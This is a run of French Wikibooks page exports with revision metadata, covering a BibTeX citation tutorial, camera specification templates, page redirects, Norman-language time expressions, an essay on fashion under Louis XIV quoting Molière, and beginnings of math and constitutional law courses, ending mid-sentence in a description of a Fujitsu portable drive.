\bibliographystyle{plain} \bibliography{exemple} Les modèles de bibliographie sont des fichiers reconnus par ''Bibtex'' qui indiquent la façon dont les informations, emmagasinées dans le fichier ''.bib'', doivent être traitées à l'exécution. Et ainsi la première commande utilisée ci-dessus déclare le nom du fichier de modèle qui doit être employé. Le fichier de modèle dans cet exemple est ''plain.bst'' (qui est un fichier faisant partie intégrante de ''Bibtex''). Vous n'avez pas besoin d'ajouter l'extension ''.bst'' après le nom du fichier lorsque vous utilisez cette commande, car l'extension est implicite. En dépit de son nom, le modèle ''plain'' remplit parfaitement sa fonction (regardez le résultat figurant dans cette page pour vous rendre compte de ce que je veux dire). La deuxième commande est celle qui indique réellement le fichier ''.bib'' que vous souhaitez employer. Celui que j'ai créé pour ce cours a été nommé ''exemple.bib'', mais de nouveau, vous n'avez pas besoin d'ajouter l'extension du fichier. Il est supposé pour l'instant que le fichier ''.bib'' se trouve dans le même répertoire que le document ''Latex''. Cependant, si votre fichier ''.bib'' se trouvait ailleurs (ce qui peut être envisagé si vous avez l'intention de mettre en place une base de données centralisée contenant toutes les références utiles pour tout votre travail), vous devriez préciser le chemin d'accès à votre fichier, par exemple \bibliography{$HOME/quelque/part/exemple.bib} Maintenant que le ''Latex'' et ''Bibtex'' savent où trouver les fichiers appropriés, il est assez simple de citer des références. La commande <tt>\cite{''clef_de_référence''}</tt> peut être appelée en vous assurant que l'entrée ''clef_de_référence'' figure bien dans le fichier ''.bib''. Si vous souhaitez citer plus d'une référence à la fois, faites comme suit: <tt>\cite{''clef_de_référence 1'', ''clef_de_référence 2'', ..., ''clef_de_référence 3''}</tt>. Modèle:Appareil compact numérique 7808 38948 2006-03-27T18:03:43Z Boly38 136 retour à une version précédente : 24 mars 2006 à 01:39 Jean-Jacques MILAN {| border="1" cellspacing="0" cellpadding="4" |- bgcolor="#DDEEFF" |colspan="2"|<h3>{{{modèle|modèle}}} ({{{année|année}}})</h3> |- |[[{{{image}}}|240px|Photo souhaitée]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>{{{type|---}}} •&nbsp;<font color=grey>Capteur : </font>{{{capteur|---}}} •&nbsp;<font color=grey>Définition maxi : </font>{{{définition|---}}} •&nbsp;<font color=grey>Formats de fichiers : </font>{{{formats|---}}} •&nbsp;<font color=grey>Mémoire interne : </font>{{{mémoire|---}}} •&nbsp;<font color=grey>Cartes-mémoires : </font>{{{cartes|---}}} •&nbsp;<font color=grey>Objectif : </font>{{{objectif|---}}} •&nbsp;<font color=grey>Équivalent 24x36 : </font>{{{équivalent|---}}} •&nbsp;<font color=grey>Zoom numérique : </font>{{{zoom numérique|---}}} •&nbsp;<font color=grey>Diaphragme : </font>{{{diaphragme|---}}} •&nbsp;<font color=grey>Viseur : </font>{{{viseur|---}}} •&nbsp;<font color=grey>Écran : </font>{{{écran|---}}} •&nbsp;<font color=grey>Modes : </font>{{{modes|---}}} •&nbsp;<font color=grey>Mise au point : </font>{{{mise au point|---}}} •&nbsp;<font color=grey>Obturateur : </font>{{{obturateur|---}}} •&nbsp;<font color=grey>Retardateur : </font>{{{retardateur|---}}} •&nbsp;<font color=grey>Commande de l'exposition : </font>{{{exposition|---}}} •&nbsp;<font color=grey>Correction d'exposition : </font>{{{correction|---}}} •&nbsp;<font color=grey>Sensibilité du capteur : </font>{{{sensibilité|---}}} •&nbsp;<font color=grey>Mémorisation de la mesure : </font>{{{mémorisation|---}}} •&nbsp;<font color=grey>Balance des blancs : </font>{{{balance|---}}} •&nbsp;<font color=grey>Prise de flash extérieur : </font>{{{prise flash|---}}} •&nbsp;<font color=grey>Flash intégré : </font>{{{flash intégré|---}}} •&nbsp;<font color=grey>Connexions : </font>{{{connexions|---}}} •&nbsp;<font color=grey>Compatibilité DPOF : </font>{{{DPOF|---}}} •&nbsp;<font color=grey>Alimentation : </font>{{{alimentation|---}}} •&nbsp;<font color=grey>Dimensions : </font>{{{dimensions|---}}} •&nbsp;<font color=grey>Poids : </font>{{{poids|---}}} •&nbsp;<font color=grey>Accessoires : </font>{{{accessoires|---}}} •&nbsp;<font color=grey>Prix : </font>{{{prix|---}}} •&nbsp;<font color=grey>Remarques : </font>{{{remarques|---}}} |- |} Photographie - 40 - Questionnaire appareil compact numérique 7812 edit=sysop:move=sysop 45999 2006-06-26T22:43:02Z Jean-Jacques MILAN 114 === modèle (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur optique : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} Modèle:Test 7813 38294 2006-03-18T16:03:50Z Merrheim 1032 <div style="width:{{{width}}}"> <div style="background-color:#DDEEFF;font-size:16px;font-weight:bold;height:8px;border:1px solid black;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"> {{{nom}}} ({{{année}}})</div> <div style="border:1px solid black;border-top:0px solid black;padding:0px 0px 0 0px;"> <table width="100%"> <tr><td>[[{{{image}}}|240px|Photo souhaitée]]</td> <td valign="top"> '''Caractéristiques :''' <font color=grey>•&nbsp;Type d'appareil : </font>{{{type|---}}} •&nbsp;<font color=grey>Capteur : </font>{{{capteur|---}}} </td></tr> </table> </div> </div> Allemand : Les personnes 7815 38229 2006-03-18T14:45:29Z 88.136.125.52 je : ich tu : du il : er elle : sie nous : wir vous : ihr ils : Sie Modèle:Appareil réflex numérique 7819 38342 2006-03-18T20:18:26Z Jean-Jacques MILAN 114 {| border="1" cellspacing="0" cellpadding="4" |- bgcolor="#DDEEFF" |colspan="2"| <h4>{{{modèle|modèle}}} ({{{année|année}}})</h4> |- |[[{{{image}}}|240px|Photo souhaitée]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>{{{type|---}}} •&nbsp;<font color=grey>Capteur : </font>{{{capteur|---}}} •&nbsp;<font color=grey>Définition maxi : </font>{{{définition|---}}} •&nbsp;<font color=grey>Formats de fichiers : </font>{{{formats|---}}} •&nbsp;<font color=grey>Mémoire interne : </font>{{{mémoire|---}}} •&nbsp;<font color=grey>Cartes-mémoires : </font>{{{cartes|---}}} •&nbsp;<font color=grey>Monture des objectifs : </font>{{{monture|---}}} •&nbsp;<font color=grey>Objectifs : </font>{{{objectifs|---}}} •&nbsp;<font color=grey>Contrôle de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font>{{{PdC|---}}} •&nbsp;<font color=grey>Zoom numérique : </font>{{{zoom numérique|---}}} •&nbsp;<font color=grey>Viseur : </font>{{{viseur|---}}} •&nbsp;<font color=grey>Écran : </font>{{{écran|---}}} •&nbsp;<font color=grey>Modes : </font>{{{modes|---}}} •&nbsp;<font color=grey>Mise au point : </font>{{{mise au point|---}}} •&nbsp;<font color=grey>Obturateur : </font>{{{obturateur|---}}} •&nbsp;<font color=grey>Retardateur : </font>{{{retardateur|---}}} •&nbsp;<font color=grey>Commande de l'exposition : </font>{{{exposition|---}}} •&nbsp;<font color=grey>Correction d'exposition : </font>{{{correction|---}}} •&nbsp;<font color=grey>Sensibilité du capteur : </font>{{{sensibilité|---}}} •&nbsp;<font color=grey>Mémorisation de la mesure : </font>{{{mémorisation|---}}} •&nbsp;<font color=grey>Balance des blancs : </font>{{{balance|---}}} •&nbsp;<font color=grey>Prise de flash extérieur : </font>{{{prise flash|---}}} •&nbsp;<font color=grey>Flash intégré : </font>{{{flash intégré|---}}} •&nbsp;<font color=grey>Connexions : </font>{{{connexions|---}}} •&nbsp;<font color=grey>Compatibilité DPOF : </font>{{{DPOF|---}}} •&nbsp;<font color=grey>Alimentation : </font>{{{alimentation|---}}} •&nbsp;<font color=grey>Dimensions : </font>{{{dimensions|---}}} •&nbsp;<font color=grey>Poids : </font>{{{poids|---}}} •&nbsp;<font color=grey>Accessoires : </font>{{{accessoires|---}}} •&nbsp;<font color=grey>Prix : </font>{{{prix|---}}} •&nbsp;<font color=grey>Remarques : </font>{{{remarques|---}}} |- |} Photographie - 40 - Questionnaire appareil réflex numérique 7820 38332 2006-03-18T18:58:22Z Jean-Jacques MILAN 114 {{appareil réflex numérique |modèle= ||année= ||image= |type= ||capteur= ||définition= |formats= ||mémoire= ||cartes= |monture= ||objectifs= ||PdC= |zoom numérique= ||viseur= ||écran= |modes= ||mise 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class='untagged'>untagged!</span> * 2004-11-09 23:20, [[User:Bionet|Bionet]]: [[:Image:Image044.gif|Image044.gif]]: <span class='untagged'>untagged!</span> * 2004-11-09 23:20, [[User:Bionet|Bionet]]: [[:Image:Image046.gif|Image046.gif]]: <span class='untagged'>untagged!</span> * 2004-11-09 23:21, [[User:Bionet|Bionet]]: [[:Image:Image048.gif|Image048.gif]]: <span class='untagged'>untagged!</span> * 2004-11-09 23:22, [[User:Bionet|Bionet]]: [[:Image:Image050.gif|Image050.gif]]: <span class='untagged'>untagged!</span> * 2004-11-09 23:23, [[User:Bionet|Bionet]]: [[:Image:Image052.gif|Image052.gif]]: <span class='untagged'>untagged!</span> Savoir définir un mot 7826 38431 2006-03-20T13:46:01Z Guillaumito 46 [[Savoir définir un mot]] déplacé vers [[Français en classe de cinquième/Savoir définir un mot]] #REDIRECT [[Français en classe de cinquième/Savoir définir un mot]] Le champ lexical 7827 38433 2006-03-20T13:46:43Z Guillaumito 46 [[Le champ lexical]] déplacé vers [[Français en classe de cinquième/Le champ lexical]] #REDIRECT [[Français en classe de cinquième/Le champ lexical]] Famille étymologique 7828 38435 2006-03-20T13:46:58Z Guillaumito 46 [[Famille étymologique]] déplacé vers [[Français en classe de cinquième/Famille étymologique]] #REDIRECT [[Français en classe de cinquième/Famille étymologique]] Classes de mots 7829 38437 2006-03-20T13:47:11Z Guillaumito 46 [[Classes de mots]] déplacé vers [[Français en classe de cinquième/Classes de mots]] #REDIRECT [[Français en classe de cinquième/Classes de mots]] Les types de phrase 7830 38439 2006-03-20T13:47:24Z Guillaumito 46 [[Les types de phrase]] déplacé vers [[Français en classe de cinquième/Les types de phrase]] #REDIRECT [[Français en classe de cinquième/Les types de phrase]] La phrase simple 7831 38441 2006-03-20T13:47:39Z Guillaumito 46 [[La phrase simple]] déplacé vers [[Français en classe de cinquième/La phrase simple]] #REDIRECT [[Français en classe de cinquième/La phrase simple]] Notions fondamentales 7833 38458 2006-03-20T20:59:49Z Greudin 1 [[Notions fondamentales]] déplacé vers [[Droit constitutionnel 1/Notions fondamentales]]: espace de noms #REDIRECT [[Droit constitutionnel 1/Notions fondamentales]] Langue normande/L'heure 7834 38459 2006-03-21T06:47:40Z 213.133.215.52 *Tchille heuthe qu'il est? / Tchille heuthe est-i'? (Jèrriais) *Quaï haeure qu'il est? (guernesiais) <gallery> Image:Uhr-0330.png|il est trais heuthes et d'mie (J)<br>il est la démie dé treis (C) Image:Uhr-0443.png|il est dgiêx-sept minnutes dé chînq (J) Image:Uhr-0600.png|il est siêx heuthes (J)<br>il est syis heures (C) Image:Uhr-0705.png|il est sept heuthes chînq (J) Image:Uhr-0745.png|il est un quart dé huit (J)<br>il est le quart mens dé huit / il est quart mens dé huit (C) Image:Uhr-0908.png|il est neuf heuthes huit (J) Image:Uhr-1015.png|il est dgiêx heuthes un quart (J)<br> Image:Uhr-1140.png|il est vîngt minnutes dé douze (J) Image:Uhr-1200.png|il est douze heuthes / il est méjeu / il est mînniet (J)<br>il est médi (C) </gallery> ==Lien externe== *[http://www.societe-jersiaise.org/geraint/jerriais/heuthvoc.html Tchille heuthe est-i'?] Mode sous Louis XIV 7835 38842 2006-03-26T06:32:30Z 83.115.109.83 == '''La mode sous Louis XIV''' == Dans le petit peuple, notamment dans les campagnes, le costume évolue très peu au cours des siècles. Pour mieux connaître les costumes populaires français à l’époque de Louis XIV, on peut observer des tableaux des frères Le Nain et de Jean Michelin. == '''Comment évolue la mode''' == La mode ne touche que les gens qui ont suffisamment d’argent pour renouveler leur garde-robe et surtout suffisamment de contacts extérieurs pour subir de nouvelles influences. Par exemple, le mot cravate apparaît en 1651, déformation du mot “ croate ”, parce que les soldats croates, entrés (comme les Suisses) au service du roi de France, portaient autour du cou une petite écharpe légère, bientôt adoptée par les gens à la mode, en remplacement du collet empesé de l’époque précédente. Jusqu’alors, une grande écharpe se portait généralement en bandoulière (comme l’écharpe de maire d’aujourd’hui) ou à la ceinture. De même, la rhingrave, sorte de jupe-culotte ample, porte ce nom parce que c’est un comte allemand qui en a lancé la mode (rhingrave, en allemand, signifie Comte de Rhénanie). Parfois, c’est un incident imprévu qui crée une nouvelle mode. On raconte que Mlle de Fontanges, l’une des favorites du roi, fut décoiffée par un coup de vent pendant une chasse à cheval. Pour rectifier sa coiffure, elle a eu l’idée de relever ses cheveux sur le haut de la tête en les nouant, faute de ruban, avec sa jarretière. Cette coiffure originale obtient un grand succès. Rapidement, beaucoup de femmes de la haute société veulent se coiffer à la Fontanges. Certains nobles, que l’on appelle les “ lions ”, sont connus pour lancer les nouvelles modes. Dès que le roi manifeste un intérêt pour une nouveauté vestimentaire, la plupart des courtisans s’empressent de l’imiter. == '''Economie et réglementation''' == Ce qui caractérise le XVIIe siècle, c’est surtout la volonté des gens riches, courtisans ou non, d’étaler leur fortune dans leur habillement. A tel point que, pour éviter le gaspillage qui oblige à faire venir de l’étranger des tissus précieux introuvables en France, Richelieu, puis Mazarin ont interdit, aux personnes n’appartenant à la famille royale, l’utilisation des brocarts, ces étoffes tissées de fils d’or ou d’argent. Plus tard, il faudra, moyennant finances, obtenir un brevet du roi pour avoir le droit d’en porter, d’où le nom de “ pourpoint à brevet ”. De même, la longueur de la traîne des robes féminines est réglementée selon le rang de noblesse, la plus longue traîne étant évidemment celle de la reine, puis celle des princesses, etc. La folie des ornements multiplie les passementeries brodées et les dentelles, jusqu’alors fabriquées hors de France. Pour des raisons économiques, Mazarin veut en interdire l’importation, mais Colbert trouve une solution plus astucieuse en faisant venir d’Italie et des Flandres des spécialistes qui enseigneront à les fabriquer en France. C’est l’origine des dentelles d’Alençon. Les riches pourront donc continuer à utiliser à profusion des rubans et des dentelles, en faisant travailler l’artisanat français. == '''Le costume masculin''' == Les principales variantes jouent sur la longueur des chausses, c’est-à-dire de la culotte (le pantalon, couvrant toute la jambe, est méprisé par les gens riches qui l’abandonnent aux gens du peuple, qualifiés plus tard de “ sans-culottes ” au moment de la Révolution de 1789). Les jambes des gens “ de qualité ” sont couvertes de bas, montant plus ou moins haut selon le longueur des chausses. Au XVIe siècle, la jambe était généralement découverte jusqu’au haut des cuisses et les chausses bouffantes, très courtes, ressemblaient un peu aux barboteuses des bébés actuels. Sous Louis XIII, les chausses descendent sous les genoux et on ne voit plus les jambes cachées dans les hautes bottes à large revers. Sous Louis XIV, on ne garde les bottes que pour les sorties à cheval. Le reste du temps, on porte des souliers, généralement à talons hauts. Le haut-de-chausses est garni au niveau des jarrets de flots de rubans, les canons. Il est recouvert par une sorte de court jupon, appelé rhingrave, formant ainsi une sorte de jupe culotte. Le buste est couvert par une large chemise à manches flottantes et un pourpoint, gilet attaché aux chausses par des cordons, les aiguillettes, souvent terminés par des glands métalliques ou de véritables bijoux : les ferrets. Selon l’époque, le pourpoint est très court, comme un boléro. Plus tard, il s’allonge et s’appelle justaucorps. Le tout est garni de rubans tissés en soie, de flots de dentelle, de noeuds de rubans appelés des galants. Le chapeau se modifie selon la mode, mais il est généralement garni de galons et empanaché. L’élément le plus visible est la lourde perruque de faux cheveux qui atteint parfois des dimensions impressionnantes. On dit qu’au début Louis XIII voulait cacher sa calvitie avec de faux cheveux. Les perruques s’étant généralisées, agrandies et alourdies (souvent un kilo), beaucoup de courtisans s’allègent la tête en rasant leur vraie chevelure. Mais Louis XIV veut garder ses cheveux naturels et oblige les perruquiers à les mêler à ceux de sa perruque. == '''Le costume féminin''' == La robe des femmes ne peut pas varier sur la longueur qui est imposée par la coutume de l’époque : jusqu'à la cheville. Alors on modifie l’ampleur de la jupe, un moment gonflée par une armature intérieure, le vertugadin. Puis on reviendra à une ligne plus tombante, avant de développer plus tard la robe à paniers avec de nombreux volants. La variété est apportée surtout par des volants de tissus différents, des ajouts de dentelles, de rubans et par des accessoires : manchons, éventails. La coiffure se modifie souvent, les cheveux jouant avec les coiffes de dentelles et les chapeaux, mais c’est seulement au XVIIIe siècle que se développeront les perruques les plus extravagantes (en montgolfière, par exemple). Le maquillage inclut des grains de beauté artificiels, appelés mouches, dont on prétend qu’ils ont une signification différente selon leur emplacement sur le visage. == '''Molière et les costumes de son époque''' == C’est dans le théâtre de Molière que l’on trouve, sous forme de railleries, la description du costume masculin des “ personnes de qualité ”. Au début de '''L’école des Maris''' (1661), Ariste conseille à son frère Sganarelle de s’habiller selon la mode. Celui-ci lui répond : "''Il est vrai qu’à la mode il faut m’assujettir, Et ce n’est pas pour moi que je dois me vêtir... Ne voudriez-vous point, dis-je, sur ces matières, De vos jeunes muguets m’inspirer les manières ? M’obliger à porter de ces petits chapeaux Qui laissent éventer leurs débiles cerveaux ; Et de ces blonds cheveux, de qui la vaste enflure Des visages humains offusque la figure ? De ces petits pourpoints sous les bras se perdant ? Et de ces grands collets jusqu’au nombril pendant ? De ces manches qu’à table on voit tâter les sauces ? Et de ces cotillons appelés hauts-de-chausses ? De ces souliers mignons de rubans revêtus, Qui vous font ressembler à des pigeons pattus ? Et de ces grands canons où, comme des entraves, On met tous les matins ses deux jambes esclaves, Et par qui nous voyons ces messieurs les galants Marcher écarquillés ainsi que des volants ? Je vous plairais, sans doute, équipé de la sorte ? Et je vous vois porter les sottises qu’on porte.''" Au second acte de '''Don Juan''' (1665), le paysan Pierrot raconte à son amie Charlotte qu’il a sauvé de la noyade deux hommes dont la barque avait chaviré. Ils se sont déshabillés pour se sécher et faire sécher leurs vêtements. Pierrot décrit son ébahissement en voyant se rhabiller le plus riche (Don Juan, en personne). Il raconte cela dans son patois (qui se comprend mieux si on le lit à haute voix): “ ''Mon guieu, je n’en avais jamais vu s’habiller. Que d’histoires et d’engingorniaux boutont ces messieux-là les courtisans ! Je me pardrais là-dedans, pour moi ; et j’étais tout ébobi de voir ça. Quien, Charlotte, ils avont des cheveux qui ne tenont point à leu tête ; et ils boutont ça après tout, comme un gros bonnet de filasse. Ils ant des chemises qui ant des manches où j’entrerions tout brandis, toi et moi. En glieu d’haut-de-chausses, ils portont une garde-robe aussi large que d’ici à Pâques ; en glieu de pourpoint, de petites brassières qui ne leu venont pas jusqu’au brichet ; et en glieu de rabat, un grand mouchoir de cou à réziau, aveuc quatre grosses houpes de linge qui leu pendont sur l’estomaque. Ils avont itou d’autres petits rabats au bout des bras, et de grands entonnois de passement aux jambes, et, parmi tout ça, tant de rubans, tant de rubans, que c’est une vraie piquié. Ignia pas jusqu’aux souliers qui n’en soyont farcis tout depis un bout jusqu'à l’autre ; et ils sont faits d’eune façon que je me romperais le cou aveuc.'' ” Traduction en français moderne: “ Mon dieu, je n’en avais jamais vu s’habiller. Que d’histoires et de complications font ces messieurs-là, les courtisans ! Je me perdrais là-dedans, pour moi ; et j’étais tout ébahi de voir ça. Tiens, Charlotte, ils ont des cheveux qui ne tiennent point à leur tête ; et ils mettent ça à la fin, comme un gros bonnet de filasse. Ils ont des chemises qui ont des manches où nous entrerions tout debout, toi et moi. En guise de haut-de-chausses, ils portent une garde-robe aussi large que d’ici à Pâques ; en guise de pourpoint, de petites brassières qui ne leur viennent pas jusqu’au bréchet ; et au lieu de rabat, un grand mouchoir de cou à passements, avec quatre grosses houppes de linge qui leur pendent sur l’estomac. Ils ont aussi d’autres petits rabats au bout des bras, et de grands entonnoirs de passement aux jambes, et, parmi tout ça, tant de rubans, tant de rubans, que c’est une vraie pitié. Il n’y a pas jusqu’aux souliers qui n’en soient farcis depuis un bout jusqu'à l’autre ; et ils sont faits d’une telle façon que je me romprais le cou avec. ” Au troisième acte du '''Bourgeois Gentilhomme''' (1669), Monsieur Jourdain s’est revêtu de l’habit à la dernière mode que vient de lui apporter son tailleur. En le voyant, sa servante Nicole est prise d’un tel fou-rire qu’elle est incapable de reprendre son calme, malgré les menaces de son maître. C’est la plus belle scène du fou-rire du théâtre français. == '''Pour en savoir plus sur le même thème''' == On peut consulter: '''Vêtements''' (pourquoi s'habille-t-on?); '''Textiles''' ; '''Fils et tissus'''; '''Costumes''' (leur évolution au cours des siècles) Mathématiques niveau seconde 7836 42659 2006-05-17T14:44:40Z Cdang 1202 /* Plan du livre */ [[catégorie:mathématiques]] =Les Mathématiques - niveau seconde - Cours et exercices corrigés= ==Avant-propos== L'objectif de ce wikilivre est de proposer un livre comprenant des cours et des exercices corrigés de niveau seconde '''dans le système éducatif français'''. Pour atteindre cet objectif, il nous faudra bien sûr de l'aide notamment enseignants de mathématiques en seconde afin que les explications proposées et les exercices soient de difficulté normale pour un tel public. N'hésitez pas à nous faire part de vos remarques constructives dans le page de discussion. Nous avons notamment besoin de conseils au niveau pédagogique. ==Programme officiel== En provenance du site du ministère de l'Education Nationale français : [ftp://trf.education.gouv.fr/pub/edutel/bo/2001/hs2/mathematiques.pdf le programme officiel] ==Plan du livre== #[[Mathématiques niveau seconde/Calculs|Effectuer des calculs]] #[[Mathématiques niveau seconde/Calcul littéral et équations|Calcul littéral et équations]] #[[Mathématiques niveau seconde/Inéquations|Inéquations]] #[[Mathématiques niveau seconde/Fonctions|Les fonctions]] #[[Mathématiques niveau seconde/Géométrie_plan|Géométrie dans le plan]] #[[Mathématiques niveau seconde/Vecteurs|Les vecteurs]] #[[Mathématiques niveau seconde/Droites_et_équations|Droites et équations]] #[[Mathématiques niveau seconde/Géométrie_espace|Géométrie dans l'espace]] #[[Mathématiques niveau seconde/Statistiques|Statistiques]] [[catégorie:mathématiques]] Mathématiques niveau seconde/Calculs 7837 43896 2006-06-05T15:35:25Z 80.236.57.132 /* Les rationnels */ Corr. grosse bourde 3/4 n'est qu'un Décimal ==Effectuer des calculs== ===Quelques ensembles à connaître=== ====Les entiers naturels==== Les nombres entiers positifs obtenus en comptant à partir de 0 forment un ensemble appelé '''ensemble des entiers naturels'''. Il est noté <math>\mathbb{N}</math>. <math>\mathbb{N}</math> = {0 , 1 , 2 , 3 ,...} ====Les entiers relatifs==== Lorsqu'on rajoute à <math>\mathbb{N}</math> les entiers négatifs, on obtient l'ensemble de tous les entiers, positifs, nul et négatifs. Ce nouvel ensemble est appelé '''ensemble des entiers relatifs''' et est noté <math>\mathbb{Z}</math>. <math>\mathbb{Z}</math>={..., -4, -3, -2, -1, 0 , 1, 2, 3, 4,...} ==== Les décimaux==== L'ensemble des décimaux est l'ensemble des nombres ayant un nombre fini de chiffres après la virgule. Il est noté <math>\mathbb{D}</math>. Par exemple 1.567, -6.78 et 789.654 sont des éléments de l'ensemble <math>\mathbb{D}</math>. Tous les décimaux peuvent s'écrire sous la forme <math>n.10^p</math>, les entiers n et p étant des entiers relatifs. ====Les rationnels==== L'ensemble de toutes les fractions du type <math>a/b</math> où a et b sont des entiers relatifs, b étant non nul s'appelle l'ensemble des nombres rationnels. Il est noté <math>\mathbb{Q}</math>. Par exemple 4/3, 70/59 et -8/11 sont des éléments de <math>\mathbb{Q}</math>. ====Les réels==== Un nombre peut très bien avoir un nombre infini de chiffres après la virgule. Par exemple le célèbre nombre pi qui vaut 3.1415926....... ne s'arrête jamais. L'ensemble de tous les nombres, postifs ou négatifs avec un nombre quelconque de chiffres après la virgule s'appelle l'ensemble des réels. Il est noté <math>\mathbb{R}</math>. ====Le symbole "appartient à"==== Lorsqu'une valeur x appartient à un ensemble quelconque A, on écrit <math>x \in A</math> qui se lit "x appartient à A". Au contraire si x n'appartient pas à A, on écrira <math>x \notin A</math> '''Exemple :''' l'entier 17 appartient à l'ensemble <math>\mathbb{N}</math> donc on peut écrire <math>17 \in \mathbb{N}</math>. ====Exercices==== Pour les valeurs suivantes, indiquez si elles appartiennent ou non à <math>\mathbb{N}</math> , à <math>\mathbb{Z}</math>, à <math>\mathbb{D}</math>, à <math>\mathbb{Q}</math> et à <math>\mathbb{R}</math>. * 56 * -98 * 6.87 * 1/3 {{Boîte déroulante|titre=Solution|contenu = *56 ** <math> 56\in \mathbb{N}</math> ** <math> 56\in \mathbb{Z}</math> ** <math> 56\in \mathbb{D}</math> ** <math> 56\in \mathbb{Q}</math> ** <math> 56\in \mathbb{R}</math> * -98 ** <math> -98\notin \mathbb{N}</math> ** <math> -98\in \mathbb{Z}</math> ** <math> -98\in \mathbb{D}</math> ** <math> -98\in \mathbb{Q}</math> ** <math> -98\in \mathbb{R}</math> *6.87 ** <math> 6.87\notin \mathbb{N}</math> ** <math> 6.87\notin \mathbb{Z}</math> ** <math> 6.87\in \mathbb{D}</math> ** <math> 6.87\in \mathbb{Q}</math> ** <math> 6.87\in \mathbb{R}</math> *1/3 ** <math> 1/3\notin \mathbb{N}</math> ** <math> 1/3\notin \mathbb{Z}</math> ** <math> 1/3\notin \mathbb{D}</math> ** <math> 1/3\in \mathbb{Q}</math> ** <math> 1/3\in \mathbb{R}</math> }} === Calculs sur les entiers=== ====Calculs sans parenthèses==== ====Calculs avec parenthèses==== ====Exercices==== === Les nombres premiers=== ====Définition==== ====Exemple==== ====Théorème==== ====Prouver qu'un nombre est premier==== ====Exercices==== === Calculs sur les fractions=== ====Fraction irréductible==== ==== Somme de fraction==== ==== Soustraction de fraction==== ====Multiplication de fraction==== ====Division de fraction==== ====Calculs en tout genre==== ==== Comparaison de fractions==== ====Exercices==== ===Les réels=== === Les pourcentages=== === La notation scientifique=== === Les racines carrées=== === Usage de calculatrices=== Droit constitutionnel 1/La notion de constitution 7839 38619 2006-03-23T09:46:07Z Greudin 1 [[La notion de constitution]] déplacé vers [[Droit constitutionnel 1/La notion de constitution]]: déplacement espace de nom ATTENTION EN COURS DE REDACTION La Constitution, selon la théorie de la hiérarchie des normes, est la norme fondamentale d'un système juridique globalement efficace et sanctionné. C'est elle qui détermine la production et la validité des normes inférieures. Toutefois, habituellement pour définir la Constitution on préfère distinguer deux sous-ensembles : la constitution matérielle et la constitution formelle. Cette distinction apparaît selon que l'on parle de l'objet sur lequel se porte l'attention ou de la procédure appliquée pour la création d'une norme. La constitution matérielle représente la Constitution quant à son objet, à la matière sur laquelle elle porte son attention. Il peut s'agir, par exemple, de l'organisation du pouvoir, des institutions ou du territoire. De manière plus familière, on pourrait définir la Constitution, au sens matériel, comme la norme qui porte sur des aspects essentiaux, fondamentaux d'un Etat. Ainsi, lorsque l'on aborde la question de l'unité territoriale d'un État, on touche forcément, en France, à une question constitutionnelle. Oui mais voilà, cette définition est objective or la plupart des constitutions modernes comportent également un catalogue de droits subjectifs. Ce qui induit nécessairement un complément à cette définition des constitutions matérielles afin de la compléter, de la préciser. Ce complément pourrait se faire par l'introduction de la notion de constitution formelle. La constitution formelle se définit par rapport aux procédures d'élaboration de la norme fondamentale. Ce qui signifie, lorsque l'on peut identifier une procédure spécifique, particulièrement complexe dont le but est de régler la production de normes inférieurements hirarchiques, on peut supposer que l'on se trouve devant une norme constitutionnelle, donc en présence d'une Constitution. La notion de constitution formelle est là un bon instrument pour identifier une Constitution qui ne porte pas son nom, comme dans le cas de la "Loi fondamentale allemande". La notion de constitution 7841 38620 2006-03-23T09:46:07Z Greudin 1 [[La notion de constitution]] déplacé vers [[Droit constitutionnel 1/La notion de constitution]]: déplacement espace de nom #REDIRECT [[Droit constitutionnel 1/La notion de constitution]] Photographie - 40 - Fujitsu 7843 38643 2006-03-23T16:25:09Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Mini-disques durs portatifs == === Fujitsu === La nouvelle série de disques durs portatifs externes Handydrive de 2,5 pouces et 3,5 pouces avec interface USB 2.0 offre des capacités de 80 et 120 Go. Ces disques durs sont plats, mesurent 136,3 mm x 72,5 mm x 13,5 mm et pèsent moins de 200 grammes. L'interface USB 2.0, alimentée directement via le bus, permet de connecter et déconnecter rapidement le disque. Elle autorise des débits de données allant jusqu'à 60 Mo/seconde. Une mémoire-tampon de 8 Mo et un temps d'accès moyen de 12 ms constituent de bonnes performances. Pour assurer la résistance aux chocs et vibrations, les disques sont montés non pas sur des roulements, mais sur des [[Tribologie_-_Guidage_par_glissement_de_surfaces#Guidages_par_surfaces_lisses_fonctionnant_en_régime_hydrodynamique|paliers lisses 